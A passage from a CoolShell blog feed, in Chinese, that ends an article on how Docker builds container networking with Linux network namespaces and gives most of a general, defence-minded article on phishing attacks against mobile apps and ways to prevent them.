Namespace（Docker的源码中，它没有用ip命令，而是自己实现了ip命令内的一些功能——是用了Raw Socket发些“奇怪”的数据，呵呵）。这里，我还是用ip命令讲解一下。</p>\n<p>首先，我们先看个图，下面这个图基本上就是Docker在宿主机上的网络示意图（其中的物理网卡并不准确，因为docker可能会运行在一个VM中，所以，这里所谓的“物理网卡”其实也就是一个有可以路由的IP的网卡）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17040\" src=\"https://coolshell.cn/wp-content/uploads/2015/04/network.namespace.jpg\" alt=\"network.namespace\" width=\"407\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/04/network.namespace.jpg 886w, https://coolshell.cn/wp-content/uploads/2015/04/network.namespace-300x221.jpg 300w\" sizes=\"(max-width: 407px) 100vw, 407px\" /></p>\n<p>上图中，Docker使用了一个私有网段，172.40.1.0，docker还可能会使用10.0.0.0和192.168.0.0这两个私有网段，关键看你的路由表中是否配置了，如果没有配置，就会使用，如果你的路由表配置了所有私有网段，那么docker启动时就会出错了。</p>\n<p>当你启动一个Docker容器后，你可以使用ip link show或ip addr show来查看当前宿主机的网络情况（我们可以看到有一个docker0，还有一个veth22a38e6的虚拟网卡——给容器用的）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-highlight=\"6,8\">hchen@ubuntu:~$ ip link show\n1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state ... \n    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc ...\n    link/ether 00:0c:29:b7:67:7d brd ff:ff:ff:ff:ff:ff\n3: docker0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 ...\n    link/ether 56:84:7a:fe:97:99 brd ff:ff:ff:ff:ff:ff\n5: veth22a38e6: &lt;BROADCAST,UP,LOWER_UP&gt; mtu 1500 qdisc ...\n    link/ether 8e:30:2a:ac:8c:d1 brd ff:ff:ff:ff:ff:ff</pre>\n<p>那么，要做成这个样子应该怎么办呢？我们来看一组命令：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">## 首先，我们先增加一个网桥lxcbr0，模仿docker0\nbrctl addbr lxcbr0\nbrctl stp lxcbr0 off\nifconfig lxcbr0 192.168.10.1/24 up #为网桥设置IP地址\n\n## 接下来，我们要创建一个network namespace - ns1\n\n# 增加一个namesapce 命令为 ns1 （使用ip netns add命令）\nip netns add ns1 \n\n# 激活namespace中的loopback，即127.0.0.1（使用ip netns exec ns1来操作ns1中的命令）\nip netns exec ns1   ip link set dev lo up \n\n## 然后，我们需要增加一对虚拟网卡\n\n# 增加一个pair虚拟网卡，注意其中的veth类型，其中一个网卡要按进容器中\nip link add veth-ns1 type veth peer name lxcbr0.1\n\n# 把 veth-ns1 按到namespace ns1中，这样容器中就会有一个新的网卡了\nip link set veth-ns1 netns ns1\n\n# 把容器里的 veth-ns1改名为 eth0 （容器外会冲突，容器内就不会了）\nip netns exec ns1  ip link set dev veth-ns1 name eth0 \n\n# 为容器中的网卡分配一个IP地址，并激活它\nip netns exec ns1 ifconfig eth0 192.168.10.11/24 up\n\n\n# 上面我们把veth-ns1这个网卡按到了容器中，然后我们要把lxcbr0.1添加上网桥上\nbrctl addif lxcbr0 lxcbr0.1\n\n# 为容器增加一个路由规则，让容器可以访问外面的网络\nip netns exec ns1     ip route add default via 192.168.10.1\n\n# 在/etc/netns下创建network namespce名称为ns1的目录，\n# 然后为这个namespace设置resolv.conf，这样，容器内就可以访问域名了\nmkdir -p /etc/netns/ns1\necho \"nameserver 8.8.8.8\" &gt; /etc/netns/ns1/resolv.conf</pre>\n<p>上面基本上就是docker网络的原理了，只不过，</p>\n<ul>\n<li>Docker的resolv.conf没有用这样的方式，而是用了<a title=\"Docker基础技术：Linux Namespace（上）\" href=\"https://coolshell.cn/articles/17010.html\" target=\"_blank\" rel=\"noopener noreferrer\">上篇中的Mount Namesapce的那种方式</a></li>\n<li>另外，docker是用进程的PID来做Network Namespace的名称的。</li>\n</ul>\n<p>了解了这些后，你甚至可以为正在运行的docker容器增加一个新的网卡：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">ip link add peerA type veth peer name peerB \nbrctl addif docker0 peerA \nip link set peerA up \nip link set peerB netns ${container-pid} \nip netns exec ${container-pid} ip link set dev peerB name eth1 \nip netns exec ${container-pid} ip link set eth1 up ; \nip netns exec ${container-pid} ip addr add ${ROUTEABLE_IP} dev eth1 ;</pre>\n<p>上面的示例是我们为正在运行的docker容器，增加一个eth1的网卡，并给了一个静态的可被外部访问到的IP地址。</p>\n<p>这个需要把外部的“物理网卡”配置成混杂模式，这样这个eth1网卡就会向外通过ARP协议发送自己的Mac地址，然后外部的交换机就会把到这个IP地址的包转到“物理网卡”上，因为是混杂模式，所以eth1就能收到相关的数据，一看，是自己的，那么就收到。这样，Docker容器的网络就和外部通了。</p>\n<p>当然，无论是Docker的NAT方式，还是混杂模式都会有性能上的问题，NAT不用说了，存在一个转发的开销，混杂模式呢，网卡上收到的负载都会完全交给所有的虚拟网卡上，于是就算一个网卡上没有数据，但也会被其它网卡上的数据所影响。</p>\n<p>这两种方式都不够完美，我们知道，真正解决这种网络问题需要使用VLAN技术，于是Google的同学们为Linux内核实现了一个<a href=\"https://lwn.net/Articles/620087/\" target=\"_blank\" rel=\"noopener noreferrer\">IPVLAN的驱动</a>，这基本上就是为Docker量身定制的。</p>\n<h4>Namespace文件</h4>\n<p>上面就是目前Linux Namespace的玩法。 现在，我来看一下其它的相关东西。</p>\n<p>让我们运行一下上篇中的那个pid.mnt的程序（也就是PID Namespace中那个mount proc的程序），然后不要退出。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">$ sudo ./pid.mnt \n[sudo] password for hchen: \nParent [ 4599] - start a container!\nContainer [    1] - inside the container!</pre>\n<p>我们到另一个shell中查看一下父子进程的PID：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">hchen@ubuntu:~$ pstree -p 4599\npid.mnt(4599)───bash(4600)</pre>\n<p>我们可以到proc下（/proc//ns）查看进程的各个namespace的id（内核版本需要3.8以上）。</p>\n<p>下面是父进程的：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">hchen@ubuntu:~$ sudo ls -l /proc/4599/ns\ntotal 0\nlrwxrwxrwx 1 root root 0  4月  7 22:01 ipc -&gt; ipc:[4026531839]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 mnt -&gt; mnt:[4026531840]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 net -&gt; net:[4026531956]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 pid -&gt; pid:[4026531836]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 user -&gt; user:[4026531837]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 uts -&gt; uts:[4026531838]</pre>\n<p>下面是子进程的：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">hchen@ubuntu:~$ sudo ls -l /proc/4600/ns\ntotal 0\nlrwxrwxrwx 1 root root 0  4月  7 22:01 ipc -&gt; ipc:[4026531839]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 mnt -&gt; mnt:[4026532520]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 net -&gt; net:[4026531956]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 pid -&gt; pid:[4026532522]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 user -&gt; user:[4026531837]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 uts -&gt; uts:[4026532521]</pre>\n<p>我们可以看到，其中的ipc，net，user是同一个ID，而mnt,pid,uts都是不一样的。如果两个进程指向的namespace编号相同，就说明他们在同一个namespace下，否则则在不同namespace里面。</p>\n<p>这些文件还有另一个作用，那就是，一旦这些文件被打开，只要其fd被占用着，那么就算PID所属的所有进程都已经结束，创建的namespace也会一直存在。比如：我们可以通过：mount &#8211;bind /proc/4600/ns/uts ~/uts 来hold这个namespace。</p>\n<p>另外，我们在上篇中讲过一个setns的系统调用，其函数声明如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int setns(int fd, int nstype);</pre>\n<p>其中第一个参数就是一个fd，也就是一个open()系统调用打开了上述文件后返回的fd，比如：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">fd = open(\"/proc/4600/ns/nts\", O_RDONLY);  // 获取namespace文件描述符\nsetns(fd, 0); // 加入新的namespace</pre>\n<h4>参考文档</h4>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li><a href=\"http://lwn.net/Articles/531114/\" target=\"_blank\" rel=\"noopener noreferrer\">Namespaces in operation</a></li>\n<li><a href=\"http://man7.org/linux/man-pages/man7/namespaces.7.html\" target=\"_blank\" rel=\"noopener noreferrer\">Linux Namespace Man Page</a></li>\n<li><a href=\"http://crosbymichael.com/creating-containers-part-1.html\" target=\"_blank\" rel=\"noopener noreferrer\">Creat Containers &#8211; Part 1</a></li>\n<li><a href=\"https://blog.jtlebi.fr/2013/12/22/introduction-to-linux-namespaces-part-1-uts/\" target=\"_blank\" rel=\"noopener noreferrer\">Introduction to Linux namespaces</a></li>\n</ul>\n</li>\n</ul>\n<p>（应网友card323加入）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/isolation-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（上）</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" alt=\"Docker基础技术：DeviceMapper\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_title\">Docker基础技术：DeviceMapper</a></li><li ><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" alt=\"Docker基础技术：AUFS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_title\">Docker基础技术：AUFS</a></li><li ><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/filter-150x150.png\" alt=\"Docker基础技术：Linux CGroup\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_title\">Docker基础技术：Linux CGroup</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17029.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>51</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>关于移动端的钓鱼式攻击</title>\n\t\t<link>https://coolshell.cn/articles/17066.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17066.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 14 Apr 2015 00:13:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[iOS]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17066</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天，在微博上看了一篇《微信和淘宝到底是谁封谁》的文章，我觉得文章中逻辑错乱，所以，我发了一篇关于这篇文章逻辑问题的长微博。后面，我被原博主冷嘲热讽了一番，说是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17066.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-17069\" src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1.jpg\" alt=\"phishing-1\" width=\"300\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1.jpg 300w, https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-200x200.jpg 200w, https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-270x270.jpg 270w\" sizes=\"(max-width: 300px) 100vw, 300px\" />今天，在微博上看了一篇《<a href=\"http://weibo.com/p/1001603830475402664763\" target=\"_blank\">微信和淘宝到底是谁封谁</a>》的文章，我觉得文章中逻辑错乱，所以，我发了一篇<a href=\"http://weibo.com/p/1001603831131286939079\" target=\"_blank\">关于这篇文章逻辑问题的长微博</a>。后面，我被原博主冷嘲热讽了一番，说是什么鸡汤啊，什么我与某某之流的人在一起混淆视听啊，等等。并且也有一些网友找我讨论一下相关的钓鱼式攻击的技术问题。所以，我想写下这篇纯技术文章，因为我对那些商业利益上的东西不关心，所以，只谈技术，这样最简单。</p>\n<p>首先说明一下，<strong>我个人不是一个安全专家，也不是一个移动开发专家，按道理来说，这篇文章不应该我来写，但是我就试一试，请原谅我的无知，也期待抛砖引玉了，希望安全的同学斧正</strong>。</p>\n<p>关于钓鱼式攻击，其实是通过一种社会工程学的方式来愚弄用户的攻击式，攻击者通常会模仿一个用户信任的网站来偷取用户的机密信息，比如用户密码或是信用卡。一般来说，攻击者会通过邮件和实时通信工具完成，给被攻击者发送一个高仿的网站，然后让用户看不出来与正统网站的差别，然后收集用户的机密数据。</p>\n<h4>移动端钓鱼攻击点分析</h4>\n<p>因为钓鱼式攻击并不新鲜，所以我这里只讲移动方面的。</p>\n<p>在移动端，这个事情会更容易干，因为移动端有如下特点：</p>\n<ul>\n<li>移动端的UI只能有一个应用占据整个屏幕，你只能看到一个应用，而且用户屏幕小，能显示的信息有限，比如浏览器里的网址是显示不全的。这会给钓鱼攻击有很多可乘之机。</li>\n</ul>\n<ul>\n<li>移动端的平台有其安全的设计。每个应用都是隔离开的，一个应用无法获取另一个应用的数据。而且应用的下载基本上来说都是来自合法的地方。比如iOS的设备通过App Store下载，每个程序都有自己的签名保证不会被篡改。而且移动端的的应用有各种权限配置，这样也能很大程度提高安全性。</li>\n</ul>\n<ul>\n<li>移动端的APP有些有些是收费的，所以自然会有盗版需求，虽然在平台上做了一些安全设计，但是并不完美。用户可以越狱，可以root。这给恶意软件有了可乘之机。</li>\n</ul>\n<p>下面我们来分析下移动端的用户操作，我们重点关注用户控制权的切换过程（因为这是攻击点）</p>\n<p><span id=\"more-17066\"></span></p>\n<p>在移动设备上，基本上来说，用户的控制切换有四种：</p>\n<ul>\n<li>从一个APP切到另一个APP，也就是我们所谓的唤出APP。</li>\n<li>从一个APP唤出一个Web，常见为一个嵌入式的WebView或是一个浏览器</li>\n<li>从一个Web唤出一个APP，这需要浏览器支持一些非标准的HTTP协议，比如skype://之类的。</li>\n<li>从一个Web到另一个Web，这和Web上的方式差不多。</li>\n</ul>\n<p>基本上来说，<strong>黑客的攻击从来都是找这样的转换环节来做文章的，并且需要一个用户非常熟悉的场景（这样用户才会放松警惕）</strong>。</p>\n<p>通过观察移动APP的特性，我们可以知道，当用户控制切换时，有下面的这些特性：</p>\n<ul>\n<li>到另一个APP时，需要用户登录（如果登录的session过期了）</li>\n<li>当支付的时候，需要用户输入支付信息（信用卡信息、支持密码）</li>\n</ul>\n<p>那么用户在移动APP上经常做的事是什么？</p>\n<ul>\n<li><strong>社交分享</strong>：分享到微博，分享到微信等等，分享的时候，可能需要你输入用户名和口令。</li>\n</ul>\n<ul>\n<li><strong>应用内购</strong>：一般来说APP会有两种，一种免费的，一种是收费的，大量的用户都是下载免费的，然后通过什么“开通更多关卡”、“去广告”、“买道具”之类的东西，让用户输入支付信息。Apple的支付的时候也会要用户输入Apple ID的密码。</li>\n</ul>\n<ul>\n<li><strong>点击链接</strong>：有时候，我们收到短信，或是二维码，或是一个微信微博，会让我们去点击一个网站链接，这个网站链接要么就是打开一个网页，要么就是启动应用，要么就是跳转到应用市场去下载应用（如果你没安装）。</li>\n</ul>\n<p>所以，一个好的钓鱼式攻击一定会从这些地方入手，然后高仿UI以及交互流程，这个交互流程和用户日常操作的完全一样，让用户无法察觉。任何方式的钓鱼攻击简单来说，会有两种：</p>\n<ul>\n<li><strong>一种是直接攻击：</strong>你下载了一个恶意的APP，或是打开了一个恶意的冒牌APP。</li>\n<li><strong>一种是中间人攻击：</strong>用户控制权转换时的两端都是正规应用，但是中间的过程不是正常的。</li>\n</ul>\n<h4>攻击方式</h4>\n<p>下面是一些常见的攻击方式：</p>\n<h5>从一个应用唤起另一个应用的方式</h5>\n<p><strong>直接攻击</strong></p>\n<p>当你点击一个社交分享按钮，或是一个支付按钮的时候。就会转到一个页面，这个页面需要你输入用户机密信息（密码或是支付信息），然后再唤起真正的APP。</p>\n<p>一个有恶意的APP可能会让你放松警惕，因为，这个你在安装这个APP的时候，你会发现这个APP根本不需要任何的权限（Android上的），甚至连网络访问的权限都不要，因为在Android下，App可以通过别的组件访问互联网，比如：恶意应用可能创建一个MediaPlayer Object，然后就可以通过这个对象访问一个URL然后把偷到的信息发送出去。</p>\n<p>你的手机要被安装一个恶意的应用并不难，同样通过社工的方式，比如：盗版，色情，伪装成客服等等通过人性的弱点让你去一些非受信的市场上安装。iOS设备上的应用也可以不用通过App Store安装（通过itms-services协议，可以通过safari浏览器直接在IOS设备上安装应用程序）。</p>\n<p>还有，人们都是贪小便宜的人，所以，会到某些地方买一些便宜的手机（比如淘宝），现在的高仿手机，翻新的二手手机对于一般人甚至安全专家来说完全没有识别能力。这些手机中有很大可能藏有恶意程序。你千万不要以为你格式化手机就OK了。今天（2015年4月14日）早上CCTV2台的“第一时间”就说了一个案例，你可以看看。另外，你可以看看相关的新闻。（另外，你把你的旧手机卖了也要小心，因为你的数据就在里面，旧手机已经成了一个灰色产业链）</p>\n<p>另外，Apple的App需要有一个review过程，这个过程对大众是神秘的，但我觉得应该会包括安全方面的review。不过，这个审核过程可能也有空子可以钻。比如：在review的时候，这个应用完全正常，但在用户使用的时候，会自己从网站下载一些自己的配置文件而改变行为（更为直接的就是访问外部网页时在审核时和在用户应用时可能完全不一样，Apple应该完全没有能力审核应用要访问的外部站点）</p>\n<p><strong>中间人攻击</strong></p>\n<p>我们知道，一个APP唤起另一个APP好多都是用url-scheme的，也就是某种协议，审核这样的协议非常简单，所以如果有恶意的东西在里面基本上很容易看到。但是，如果某些APP并没有注册自己的url-scheme，或是没有被安装，反而，另一个有恶意的APP注册了这个scheme，那么，就会导致恶意的APP被唤起来了（<span style=\"color: #ff0000;\"><strong>这就是我为什么在我的微博中说，如果用户没有安装淘宝的客户端，那么，让微信唤起淘宝的客户端时，有可能是另一个有恶意的APP。但是很多人不懂这个事。<span style=\"color: #000000;\">在iOS下，两个APP通讯正确的做法是“钥匙串机制”</span></strong></span>）。</p>\n<p>当然如果有两个应用被注册了同一个scheme，那么，iOS和Android会给出一个选择，让用户来选（注：iOS的系统有可能会直接跳某个 App 上去，不同版本的跳规则不明确，可以认为是随机跳转）。于是乎，恶意的APP就要努力的让自己比正规的APP看起来更像个正规的APP就可以了。</p>\n<p>在Android平台上，这个事可能更变态，只要恶意的应用有两个权限，一个是随手机操作系统在后台启动，一个是task list（然而这两个权限都是一般权限）。这样一来，当你进行两个APP切换时，恶意程序可以通过task list权限监控到，然后自己马上先于正规的app出现，等到收集完用户数据后简单的退出就好了。这个方式只需要你的程序能在10ms以内反应过来（最佳是5ms左右），人的肉眼根本看不出来。（在iOS设备下，除了jail break后的iPhone可以这么干，正常的都iPhone还没有找到这样的攻击方式）</p>\n<h5>在一个应用内内嵌Web的方式</h5>\n<p>这种方式更容易攻击了，现在很多很多应用都是内嵌的Web的形式，你完全不知道打开的网页的网站是什么，因为这些内嵌的WebView你连地址都看不见。而且无论是iOS或Android，其WebView都可以执行任何的Javascript代码，就算显示URL，URL也可能是被混乱过的，你也看不全，你也很容易上当。当然，那些使用带SSL证书的支持HTTPS的网站（尤其是EV证书）可以在地址栏上显示一个绿色的标记表示你访问的就是正确网址，但是并不是所有的浏览器都会这样，比如iPhone的Safari并没有这个提示，所以，你一定要用Chrome。</p>\n<p>更狠的是就算你打开的是一个正确的URL，你依然可能被中间人攻击。尤其是这个网站使用了明文的HTTP协议，而你又喜欢蹭那些免费的WiFi，于是很容易给把服务器返回给你的网页中做修改，比如，修改网页中login表单或是支付表单提交的网站（想想天朝的网络运营商给你访问的正常的网页弹广告这事吧）</p>\n<p>关于DNS劫持，有些人觉得这事可能遇不上，因为这是一个全网的问题，如果你有这样的想法你就错了。还是那样，你爱占便宜，蹭上那些没有密码的WiFi，你完不知道，你连上去的那个WiFi会设置什么样的DNS服务器，你输入了www.taobao.com，但你打开的网站根本就是不是淘定，而是一个钓鱼网站。你会知道你打开的是错的了么？基本不可能。所以，安全点的网站都是要用HTTPS，但是还是那句话，iPhone的Safari并不会提示你打开网站的SSL证书合不合法（事实上，在手机上的很多浏览器都不会这提示，只有Chrome会）。</p>\n<p>关于攻击的方式我不想讲太多，还有很多高级+猥琐的方式我也不是完全知道，知道了我也不说，不然，教人犯罪了。</p>\n<p>关于从Web端唤起APP是和，APP唤醒APP的攻击方式基本一样。我就不说了。</p>\n<h4>怎么防范钓鱼式攻击</h4>\n<p>首先，我们要知道，钓鱼式攻击是一件非常难搞的事。要搞定这个事，一般来说需要四个方面：<strong>立法层面</strong>、<strong>用户培训层面</strong>、<strong>宣传层面</strong>、与<strong>技术保全措施层面</strong>。</p>\n<p><strong>教育方面</strong></p>\n<p>打击网钓的策略之一，是试着培养人们识别网钓，并教导怎样处理这些问题。只需要稍稍修改人们浏览习惯的方式，很多问题都可以避免。随着人们越来越认识到网钓者所使用的社会工程学技俩，传统的网钓欺诈技术可能在未来过时。</p>\n<ul>\n<li>对别人发来的链接要小心，尤其是让你输入机密信息的链接要小心检查。</li>\n</ul>\n<ul>\n<li>到正规的地方买手机，不要贪图小便宜。旧手机在卖前要“物理删除”数据。</li>\n</ul>\n<ul>\n<li>不要对手机越狱，不要root。</li>\n</ul>\n<ul>\n<li>不要从非信任的地方下载软件。</li>\n</ul>\n<ul>\n<li>要小心免费的WiFi。</li>\n</ul>\n<ul>\n<li>输入机密数据的时候一定要小心检查。</li>\n</ul>\n<ul>\n<li>多依赖一些不同的安全体系，比如：网上支付不要只依赖支付宝，尽量使用信用卡（信用卡千万不要设密码），这样就算是被钓鱼了，你还有一个银行安全的缓冲地带——可以不承认交易。</li>\n</ul>\n<ul>\n<li>现在使用手机的频率越来越高，所以，我非常建议你使用更为安全的iPhone手机，一定要打开“查找我的iPhone”功能，然后设上开机密码。iPhone手机可以做到手机丢失了别人都无法使用，包括刷机都刷不了（iOS7以上版本）</li>\n</ul>\n<ul>\n<li>对于一些关键网站，开启两步验证，这样就算你的用户名和密码被钓走了，还有一个动态手机口令做为登录的关卡。</li>\n</ul>\n<p><strong>技术方面</strong></p>\n<ul>\n<li>利用SSL证书来保证从浏览器到网站的访问是现在采用比较多的方式，也是在理论上可行的方式。现代的浏览器都会在URL上放上一个锁的标志，对于EV证书，你会看到浏览器的URL是绿色的（很容易分辨）</li>\n</ul>\n<ul>\n<li>另外，像firefox浏览器有一个petname的插件，你可以为你常上的网站设置一些标签。这样，当你打开钓鱼网站的时候，你会发现这些标签没有显示出来，那就有问题了。</li>\n</ul>\n<ul>\n<li>关于SSL的CA认证机构，你需要管理好你浏览的那些根证书，有些根证书你需要删掉。</li>\n</ul>\n<ul>\n<li>还有一种打击网钓的流行作法是保持一份已知的网钓网站名单，并随时更新。比如<a href=\"https://www.phishtank.com/\" target=\"_blank\">PhishTank</a>，以及<a href=\"http://www.apac.cn\" target=\"_blank\">中国防钓鱼网站联盟</a>。</li>\n</ul>\n<ul>\n<li>增加式登录方式。这种方式被美国银行采用，就是说，你可以上传一个你自己知道的图片，而当你打开登录页面里时，输入了自己的用户名后，你会看到你设置的这个图片被显示出来。如果没有或是显示错了，表示你打开的是钓鱼网站。</li>\n</ul>\n<ul>\n<li>两步验证，通过用户自设密码+手机动态口令登录（好些网站都在使用Google Authenticator的方式，这有点像公司VPN的动态口令）。</li>\n</ul>\n<p>上述都是PC Web上的防范，然而我们的手机移动端做的并不够好，移动端的安全还是要加油。</p>\n<p><strong>安全风控方面</strong></p>\n<p><strong>什么叫安全风控，说白了就是拿钱出来赔偿给被骗的用户，大家相信我，这个事情在基本上所有的公司都会做的</strong>，也就是说，无论你怎么做安全也无法保证绝对的安全，你只能缓解或是降低用户被骗的数量或概率。所以，几乎所有的公司都会有一笔钱专门用来赔偿。</p>\n<p>在西方国家，用户体验很好，我说一个故事，我有一个妹妹在英国，有一天她到ATM上取钱，取完钱后忘了把卡取出，结果后面的人把她的卡里的钱取走了，于是她报了警，等警察做完笔录后，她给银行的客服打了个电话说明了情况，本想冻结银行卡的，但是银行方面二话不说就赔偿了她所有的损失。为什么英国的巴克莱银行这么痛快，是因为他们有风控基金，专门用来处理这样的事的。</p>\n<p>在中国，其实银行和一些大的公司都有这笔安全风控基金，但是，要你非常坚持不懈地申诉，他们才会赔给你，而且还不是全部。要全部的话，我估计你要做一个“刁民”，否则欺负你，没道理。</p>\n<h4>关于微信和淘宝</h4>\n<p>微信和淘宝到底是谁先屏蔽谁我并不关心，这里面的商业利益我也不关心，微信是不是支持卖东西我也不关心。我关心的是寒冬文章中所说的微信上有淘宝钓鱼的安全问题。</p>\n<p>从技术上来说，我觉得要微信和淘宝一起干这事，单方都不行，需要两边的安全专家一起讨论（如果需要，我可以帮你们约）。我这里给一个可能很不成熟的方案，算是抛砖引玉（我不考虑你们之间的商业竞争，我只从用户的角度出发，客户第一）：</p>\n<blockquote><p><strong>我觉得，从业务上来说，淘宝可以在微信上有一个官方的商城。而淘宝的商家，需要取得微信的认证后入住，才能分享相关的商品或店家链接，对此，商家入住，我觉得可通过微信的服务账号与淘宝的商家后台集成可以做到。</strong></p>\n<p><strong>然后，商家也好，买家也好，他们分享商品只能通过微信官方的商城或是商家的服务账号分享出去，而分享出去的商品信息可以是一个比较unique的形式（比如有一个不能伪造的官方认证的标签），而用户的支付可以通过内置的微信支付也可以通过内置的支付宝（通过唤起App并不是一个好的方式，还是应该你们在服务端进行相互的通信）。</strong></p>\n<p><strong>然后微信和淘宝双方通过宣传手段告诉全社会，微信里的商品什么才是正规的，才不是钓鱼的，并给教育用户更为安全地使用手机。</strong></p></blockquote>\n<p>P.S. 